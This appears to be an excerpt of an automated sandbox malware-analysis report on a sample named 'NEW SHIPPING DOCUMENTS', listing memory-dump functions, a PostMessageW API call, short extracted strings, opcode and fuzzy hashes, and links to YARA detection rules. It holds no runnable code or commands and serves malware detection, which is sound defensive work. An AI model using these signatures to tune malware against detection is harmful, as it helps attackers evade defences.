Opcode ID: 64ec57fa9eb1eeb0fa2461b8c14a6453a16200292af750554e27cfa0ce4af9dd
Instruction ID: ba1f3f6cea5fc76dd441d8d40bba466735ef0cbfc0090fe03333a16529bb0992
Opcode Fuzzy Hash: 64ec57fa9eb1eeb0fa2461b8c14a6453a16200292af750554e27cfa0ce4af9dd
Instruction Fuzzy Hash: D0110AB1900349CFDB10DFAAC44579EFBF5AF88724F24841AD519A7240CB79A944CBA5

Function 07413748 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 074137AD

Memory Dump Source

Source File: 00000000.00000002.2164510896.0000000007410000.00000040.00000800.00020000.00000000.sdmp, Offset: 07410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7410000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: c7b097a5afdfd9c54a0fb30ec29ec4daa4f1dec0e3a6893c15c88bb9c5d16196
Instruction ID: 8b5a78bffa6030076674345b16789954f8777a82c74b8d07175a0b7ce3d0708b
Opcode Fuzzy Hash: c7b097a5afdfd9c54a0fb30ec29ec4daa4f1dec0e3a6893c15c88bb9c5d16196
Instruction Fuzzy Hash: DD1125B58003499FDB10DF9AD584BDEFFF8EB48720F24840AD558A7200C3B5A544CFA1

Function 07413750 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 074137AD

Memory Dump Source

Source File: 00000000.00000002.2164510896.0000000007410000.00000040.00000800.00020000.00000000.sdmp, Offset: 07410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7410000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e14db7ae2cd19c60f35e2ada2020af0e7db00cc636fc8b23eea701af96ef9438
Instruction ID: 19a840c529797e3b66b0acaba40773f64d937e2e3c95492ea84691e1273a2eef
Opcode Fuzzy Hash: e14db7ae2cd19c60f35e2ada2020af0e7db00cc636fc8b23eea701af96ef9438
Instruction Fuzzy Hash: F011D3B58003499FDB10DF9AD985BDEFBF8EB48720F20841AD519A7240C3B9A944CFA5

Function 0130D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138619994.000000000130D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0130D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130d000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4996b8aaffcdf0bdfcff06d7c835eb8b3b81d29102592e7f1dc8f2d4c1c11588
Instruction ID: e58a4299439e9da122d924d04e1139fd8414e0441cbb5af40eb0f2e298ea6fbc
Opcode Fuzzy Hash: 4996b8aaffcdf0bdfcff06d7c835eb8b3b81d29102592e7f1dc8f2d4c1c11588
Instruction Fuzzy Hash: ED213A76504204DFDB06DF94D9C0B66BFE5FB84328F20C16DE90A1B296C736E456CBA2

Function 0130D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138619994.000000000130D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0130D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130d000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51341f02d9a5ef541ebd45b762e8e166834c1f266f57049cc533cef4f6dd024d
Instruction ID: ece64bbdece46e1803ad351235dfa639d3367396b7ffbda4d17a16bed33fe32b
Opcode Fuzzy Hash: 51341f02d9a5ef541ebd45b762e8e166834c1f266f57049cc533cef4f6dd024d
Instruction Fuzzy Hash: 5D210372504244EFDB06DF98D9D0B26BFE5FB8831CF20C569ED090B696C336D456CAA1

Function 02ACD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138838291.0000000002ACD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2acd000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72a1b3dcefedf5166bff618661ed6d299393cbd2d43a7ada726074274b494ee6
Instruction ID: a51241061cc9293be55143313fa43cacc50bbfff3fe361547c0c55e1871e4264
Opcode Fuzzy Hash: 72a1b3dcefedf5166bff618661ed6d299393cbd2d43a7ada726074274b494ee6
Instruction Fuzzy Hash: 7221FF75604A00EFDB14DF18D9C0B26BBA1FB84324F30C57DD90A0B256CB7AD806CA61

Function 02ACD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138838291.0000000002ACD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2acd000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0156e2b26aa66b378020be765d53dad8c36b06539dc3cfb2a8cf80f1c1813d0b
Instruction ID: 6ada6fa4271f26b5ea296334d5d727611e7c2957587585ed245b6a6be34d3021
Opcode Fuzzy Hash: 0156e2b26aa66b378020be765d53dad8c36b06539dc3cfb2a8cf80f1c1813d0b
Instruction Fuzzy Hash: 1E2104B5504604EFDB05DF14D9C0B26FBA5FB88314F30C57DE90A4B25ACB76D446CA61

Function 02ACD006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138838291.0000000002ACD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2acd000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04f65953b37ebbf3131dcdeec66d4e00a5c4390bad8a8c06df9ba73f50c9f270
Instruction ID: 90e931afdf4283d0378a14e367e10efd4e0e8f7881071fd888a638064c6409cf
Opcode Fuzzy Hash: 04f65953b37ebbf3131dcdeec66d4e00a5c4390bad8a8c06df9ba73f50c9f270
Instruction Fuzzy Hash: 83214F755097809FCB12CF24D5D4715BF71EB46214F28C5EAD8498B6A7C33A940ACB62

Function 0130D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138619994.000000000130D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0130D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130d000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction ID: e1fb4bd84ba45b8ab33a5fcfed0f29ea18d0e68a160812f16448bed1ade22cd7
Opcode Fuzzy Hash: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction Fuzzy Hash: C711AF76504284CFCB16CF54D5C4B16BFB1FB88318F24C6A9DC490B696C33AD45ACBA1

Function 0130D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138619994.000000000130D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0130D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130d000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction ID: 835034a9d04b4a6a6f02cb6ba364facfec9c56f4b26be9fab16e5b899c677546
Opcode Fuzzy Hash: fed46cca7f742b7caa711e8ed735342f41d2c2d3303e466d284e334843d61363
Instruction Fuzzy Hash: 771126B6404280CFCB02CF84D5C0B56BFB1FB84328F24C2A9D8090B257C33AE456CBA1

Function 02ACD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138838291.0000000002ACD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2acd000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction ID: 16e97ac38d27d1ab82f132eb90176cb54d17ecdce86a1384972668eeb0b34016
Opcode Fuzzy Hash: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction Fuzzy Hash: AA119DB6504684DFCB15CF10D9C4B15FBB1FB84318F24C6AED8494B6AAC33AD44ACB61

Function 0130D731 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138619994.000000000130D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0130D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130d000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 515a2e9bcebb7f742d40f10c0e9cb22d04f37d38b4bc5434ad282b4385f0082f
Instruction ID: 5cd2b8ed8f788ef3ff4151cdbd95da2df9f81bddd3ddca2c7f2235f6b607ef47
Opcode Fuzzy Hash: 515a2e9bcebb7f742d40f10c0e9cb22d04f37d38b4bc5434ad282b4385f0082f
Instruction Fuzzy Hash: 3001F7714043889AF7124EE9CDC0766FFDCDF80B28F18C41AEE094A1D2C6B89840C6B1

Function 0130D730 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2138619994.000000000130D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0130D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130d000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 070d173c3cf8c53edb2d1175d6c5bba6f438a97f253904f321db91c732203270
Instruction ID: 98a34480078f47347ecd05aac5d0084bdc5fbc1d659247a5c1471352e44b66b5
Opcode Fuzzy Hash: 070d173c3cf8c53edb2d1175d6c5bba6f438a97f253904f321db91c732203270
Instruction Fuzzy Hash: 25F062724053849EE7118E59D9C4B66FFD8EB81738F18C55AED095E282C2799844CAB1

Non-executed Functions

Function 07094A50 Relevance: 6.5, Strings: 5, Instructions: 282COMMON

Download Yara Rule

Strings

nay, xrefs: 07094D26
nay, xrefs: 07094D1C
H4ux, xrefs: 07094B0A
H4ux, xrefs: 07094B11
H4ux, xrefs: 07094B28

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: H4ux$H4ux$H4ux$nay$nay
API String ID: 0-1200253175
Opcode ID: e473afd2f76eb5c7649dbb95e861e9294e752026c6bd7f04d9e825e590b321cc
Instruction ID: cd3ce0a1cccf17dac648335baa3db0e582753794e827b38d7b44dd491542c468
Opcode Fuzzy Hash: e473afd2f76eb5c7649dbb95e861e9294e752026c6bd7f04d9e825e590b321cc
Instruction Fuzzy Hash: 80C158B4E15259CFDB54CFA9D980AAEFBB2FF89300F148269E418AB355D7309942CF50

Function 07091D18 Relevance: 5.2, Strings: 4, Instructions: 174COMMON

Download Yara Rule

Strings

tQ=), xrefs: 07091DB5
%O@8, xrefs: 07091E74
%O@8, xrefs: 07091E82
tQ=), xrefs: 07091DAE

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: %O@8$%O@8$tQ=)$tQ=)
API String ID: 0-749352435
Opcode ID: e35334a0d307f6effe705b7e53795667675227961e6abbfaed174424ba8d583b
Instruction ID: 39438d5f2be56a76e6ceb039e42723b216124505f476b29d0c3cb661c611dd28
Opcode Fuzzy Hash: e35334a0d307f6effe705b7e53795667675227961e6abbfaed174424ba8d583b
Instruction Fuzzy Hash: CC71D1B4E1120A9FCB44CF99D58499EFBF1FF89350F14866AE425AB360D730AA41CF50

Function 070928C8 Relevance: 5.2, Strings: 4, Instructions: 162COMMON

Download Yara Rule

Strings

aY, xrefs: 07092AB9
18', xrefs: 07092A12
aY, xrefs: 07092AB2
18', xrefs: 07092A04

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: 18'$18'$aY$aY
API String ID: 0-3687307736
Opcode ID: 891db1d5bb75d312b57071d21ea8f0735429b3c8f9025cb2cf6de3e768a7220c
Instruction ID: b433ad00fe79012e5585e012c755c9e2ace3f3e3189f0bc1a157da0e4c637079
Opcode Fuzzy Hash: 891db1d5bb75d312b57071d21ea8f0735429b3c8f9025cb2cf6de3e768a7220c
Instruction Fuzzy Hash: 3B71F2B4E1420ADFCF04CF99C5809AEFBB1BF49210F14862AD425AB315D334AA82CF95

Function 07094A41 Relevance: 4.0, Strings: 3, Instructions: 276COMMON

Download Yara Rule

Strings

H4ux, xrefs: 07094B0A
H4ux, xrefs: 07094B11
H4ux, xrefs: 07094B28

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: H4ux$H4ux$H4ux
API String ID: 0-2732375326
Opcode ID: 1f162e65223ca29c374e6a24fba3ca0e08e13dd79279ca27908bbacd7b8df0fe
Instruction ID: 75cd40e4dda1a0eeb3495971a60e64a281f90fac600a9520e8164821e43360bc
Opcode Fuzzy Hash: 1f162e65223ca29c374e6a24fba3ca0e08e13dd79279ca27908bbacd7b8df0fe
Instruction Fuzzy Hash: 0EC16CB4E11259CFDF54CFA9D980AAEBBF2BF89300F14926AE418A7355D7309942CF50

Function 070933EA Relevance: 4.0, Strings: 3, Instructions: 246COMMON

Download Yara Rule

Strings

6yu[, xrefs: 0709353F
,uRR, xrefs: 070934C8
6yu[, xrefs: 07093546

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: ,uRR$6yu[$6yu[
API String ID: 0-86511755
Opcode ID: 17973394823f657e0da052673ad684c3ef0e6221cfeae83edf424be750af8d8f
Instruction ID: 4659577f501075362e78fd332967970c800020876a489af8bbdf77b1bb802b19
Opcode Fuzzy Hash: 17973394823f657e0da052673ad684c3ef0e6221cfeae83edf424be750af8d8f
Instruction Fuzzy Hash: 87B104B4E1520ADFCF04CFA9C5815DEFBF2FB89210F24956AD425B7254D7309A428F64

Function 07091D08 Relevance: 3.9, Strings: 3, Instructions: 178COMMON

Download Yara Rule

Strings

tQ=), xrefs: 07091DB5
%O@8, xrefs: 07091E82
tQ=), xrefs: 07091DAE

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: %O@8$tQ=)$tQ=)
API String ID: 0-2920369752
Opcode ID: 0405be72aac4327ade1b09f40fe6d6eac2df155bb6cbcd69bbc106a1ae3ee657
Instruction ID: 41fbbf44e339a2294d5541283ef674c0103cf4da7e26509f4ac181c6b6094506
Opcode Fuzzy Hash: 0405be72aac4327ade1b09f40fe6d6eac2df155bb6cbcd69bbc106a1ae3ee657
Instruction Fuzzy Hash: C07101B5E1120A9FCB44CFA9D58499EFBF1FF89250F148666E425EB360D730AA41CF50

Function 070933F0 Relevance: 3.9, Strings: 3, Instructions: 114COMMON

Download Yara Rule

Strings

6yu[, xrefs: 0709353F
,uRR, xrefs: 070934C8
6yu[, xrefs: 07093546

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: ,uRR$6yu[$6yu[
API String ID: 0-86511755
Opcode ID: 8ab2474ef9ac0b89f59c294294a48250a80c18a2f807301d3d137eb7d51e36c7
Instruction ID: b40c3cc9c4e1ac9379ef247c870000a8c54fa53b84afa9da3a1ad4a3ebba9b22
Opcode Fuzzy Hash: 8ab2474ef9ac0b89f59c294294a48250a80c18a2f807301d3d137eb7d51e36c7
Instruction Fuzzy Hash: 8D4106B0E1520ADBCF08CFA9C9815AEFBF2FF89300F60D169C514A7254D7749A428F94

Function 07096099 Relevance: 2.8, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

Zjsq, xrefs: 07096156
9u"K, xrefs: 07096153

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: 9u"K$Zjsq
API String ID: 0-1261923490
Opcode ID: 13e751619c79d8f37816155764afb307a0a19b2e16589d1a82d4dadc79e0e8ed
Instruction ID: 22bb1d18f16055f1804b4d6f5fdfcdd212c683bf0b75768c9040b7471dd4d8a7
Opcode Fuzzy Hash: 13e751619c79d8f37816155764afb307a0a19b2e16589d1a82d4dadc79e0e8ed
Instruction Fuzzy Hash: 8DC1C3B0E15219DFCB18CFAAD58059EFBF2BB89300F14D62AE419AB365D7349942CF50

Function 070960A8 Relevance: 2.8, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

Zjsq, xrefs: 07096156
9u"K, xrefs: 07096153

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: 9u"K$Zjsq
API String ID: 0-1261923490
Opcode ID: d6c5331da309d4b335934daebdd5b3f83f33a46a93ad8c7e4e7e45167982395f
Instruction ID: 52700b4bac892e991d2f2fc5d9a8153c54ef11e0219e33e88ed1004647f2ef03
Opcode Fuzzy Hash: d6c5331da309d4b335934daebdd5b3f83f33a46a93ad8c7e4e7e45167982395f
Instruction Fuzzy Hash: 2AC1C4B0E15219DBCB18CFAAD58059EFBF2BF89300F14D62AE419AB365D7349942CF50

Function 07094138 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

\~$, xrefs: 07094268
or, xrefs: 0709419E

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: \~$$or
API String ID: 0-2796768027
Opcode ID: 9792a407f34617e572a4eb15dcbde66e9e985a0d6bee48c3cc88cf6a07578d0d
Instruction ID: 538d3406f236b991ceac42aa8866e6c32e37404b38fe7d607ee9b641665fca07
Opcode Fuzzy Hash: 9792a407f34617e572a4eb15dcbde66e9e985a0d6bee48c3cc88cf6a07578d0d
Instruction Fuzzy Hash: CF6126B4E15319CFCF08CFA5D5415AEFBF2AF89300F20952AE425AB394D7389A428F50

Function 07094148 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

\~$, xrefs: 07094268
or, xrefs: 0709419E

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: \~$$or
API String ID: 0-2796768027
Opcode ID: f24213f6a18e656d9e0a6d819e65ffd51913c0a2d9dacc003f083b4f67b0dcbd
Instruction ID: 7e3fe12718bbfe20352554bf051870b34a61599afea4c086a28322c4da59ad48
Opcode Fuzzy Hash: f24213f6a18e656d9e0a6d819e65ffd51913c0a2d9dacc003f083b4f67b0dcbd
Instruction Fuzzy Hash: 896127B4E15319DBCF08CFA6D5815AEFBF6BF89340F20952AE425A7354D7349A028F50

Function 070928C7 Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

aY, xrefs: 07092AB9
18', xrefs: 07092A12

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: 18'$aY
API String ID: 0-535677718
Opcode ID: ac0cdad050725e14cb100cc7af6869002202eca4c3044975430b68f3d4ba4600
Instruction ID: dbf61e8d5f66a64e8319a842870488d64cd64f077a21a7eb703250007643dd9f
Opcode Fuzzy Hash: ac0cdad050725e14cb100cc7af6869002202eca4c3044975430b68f3d4ba4600
Instruction Fuzzy Hash: 2C61E2B4E1520ADFCF04CFA9C5819AEFBF2BF49210F14862AD415A7315D334AA82DF95

Function 0706ED30 Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

]]o, xrefs: 0706ED7F

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: ]]o
API String ID: 0-2636374853
Opcode ID: a1f56260f70814956c5bfccb87eb028b5df73b965cc1c3991106a6230d55ee0b
Instruction ID: 1f305d63426185228186d6a351179a39f253d873d4c69316aceaded23d4419e6
Opcode Fuzzy Hash: a1f56260f70814956c5bfccb87eb028b5df73b965cc1c3991106a6230d55ee0b
Instruction Fuzzy Hash: 887115B8E1520ADFCB04CF99D4949AEFBB2FF89310F14852AE915A7324D7349A41CF94

Function 0706ED20 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

]]o, xrefs: 0706ED7F

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: ]]o
API String ID: 0-2636374853
Opcode ID: ad98808d29c31d4d9075ac95e8b51f2ac64c663ef83493ddee5953c7ab8cf1ce
Instruction ID: c34365268d61303413048ca01b6ec24ebc4e6f90ca07482d76c9fb5bd72fe0f8
Opcode Fuzzy Hash: ad98808d29c31d4d9075ac95e8b51f2ac64c663ef83493ddee5953c7ab8cf1ce
Instruction Fuzzy Hash: E06128B8E1020ADFCB04CF99C495AAEFBF2FF99310F148526D915A7354D3349A418F94

Function 07093C60 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

i#)6, xrefs: 07093D01

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: i#)6
API String ID: 0-3600651614
Opcode ID: d47f1ee23f5bef2deed4a659276ae7e7c9228ae9fcc9454df3f95ddf2cd8865b
Instruction ID: 52249a1e499cd77c145263d5f760ad50529c4fc549752ccbb284de555b00c9db
Opcode Fuzzy Hash: d47f1ee23f5bef2deed4a659276ae7e7c9228ae9fcc9454df3f95ddf2cd8865b
Instruction Fuzzy Hash: DC4147B0E1660A9BCB48CFA6D5426AEFBF2AF89200F20952AC015A7254D3349B45CF95

Function 07093C70 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

i#)6, xrefs: 07093D01

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: i#)6
API String ID: 0-3600651614
Opcode ID: 701f98fa978966189a7ecad8d4fa5fb9e8c41d3edd7eeabda5eab16dd8b426a9
Instruction ID: f6bffc59a293b60fd886e92c5c9d3e4a268c42f2306398f6cf81c45d1fcc23f8
Opcode Fuzzy Hash: 701f98fa978966189a7ecad8d4fa5fb9e8c41d3edd7eeabda5eab16dd8b426a9
Instruction Fuzzy Hash: 014127B0E1660ADBCB08CFA6D5426AEFBF2EF89300F20952AC015A7254D3349B45CF95

Function 074151B0 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2164510896.0000000007410000.00000040.00000800.00020000.00000000.sdmp, Offset: 07410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7410000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12c7c14c079c9b00acd67a326143a60de3b2c2104e21bf9774f0b856a39bd17f
Instruction ID: abc680265273c46085324788c4a147f7fd130f745413807923b33ac1375c19cb
Opcode Fuzzy Hash: 12c7c14c079c9b00acd67a326143a60de3b2c2104e21bf9774f0b856a39bd17f
Instruction Fuzzy Hash: 76D187B1B006058FDB19EB7AC564BAFB7F6AFC9200F14846ED14A9B391DB34E901CB51

Function 0709D0E0 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9376651892232c27fce6e575d6a28f74f1b6ac50b30d2fce19a3c58d182dae73
Instruction ID: 4c426de2ad633f8563c4d4cd9c61db47607b998d34cafcf83a8b7bb5341caa01
Opcode Fuzzy Hash: 9376651892232c27fce6e575d6a28f74f1b6ac50b30d2fce19a3c58d182dae73
Instruction Fuzzy Hash: A4E12BB4E042599FDB14DFA8C580AAEFBF2FF89304F248269D414AB355D730A942CF60

Function 0709F720 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da56d631d47cdfc3ace895a6b792a4164449e17ef2680aaff014cb1d142f91c
Instruction ID: fa181a87d246155e0f6fbbb11af3c04907125e35195a973d1b5785e188f9be46
Opcode Fuzzy Hash: 1da56d631d47cdfc3ace895a6b792a4164449e17ef2680aaff014cb1d142f91c
Instruction Fuzzy Hash: 97E11CB4E1025A8FDB14DFA9C590AAEFBF2FF89304F248269D414A7355D730A942CF60

Function 0709D530 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8398c21297f4159eb32e21f54e1bbd2cf9675142706723eaac00792bdec4547f
Instruction ID: 1a30319f08324549a5bb30f98e83db1c2ab34b4cd76ac063850d2011473215a0
Opcode Fuzzy Hash: 8398c21297f4159eb32e21f54e1bbd2cf9675142706723eaac00792bdec4547f
Instruction Fuzzy Hash: 14E10CB4E102598FDB14DFA9C590AAEFBF2FF89304F248269D414A7359D730A942DF60

Function 0709F210 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eca19d078d8992a49a97680902c6a1ebb6dfe707846e0016bee177dd110da323
Instruction ID: c2d6cb731b97e9ae603132b0dd63e531247b4b9c5333865c35e888d7493bedb3
Opcode Fuzzy Hash: eca19d078d8992a49a97680902c6a1ebb6dfe707846e0016bee177dd110da323
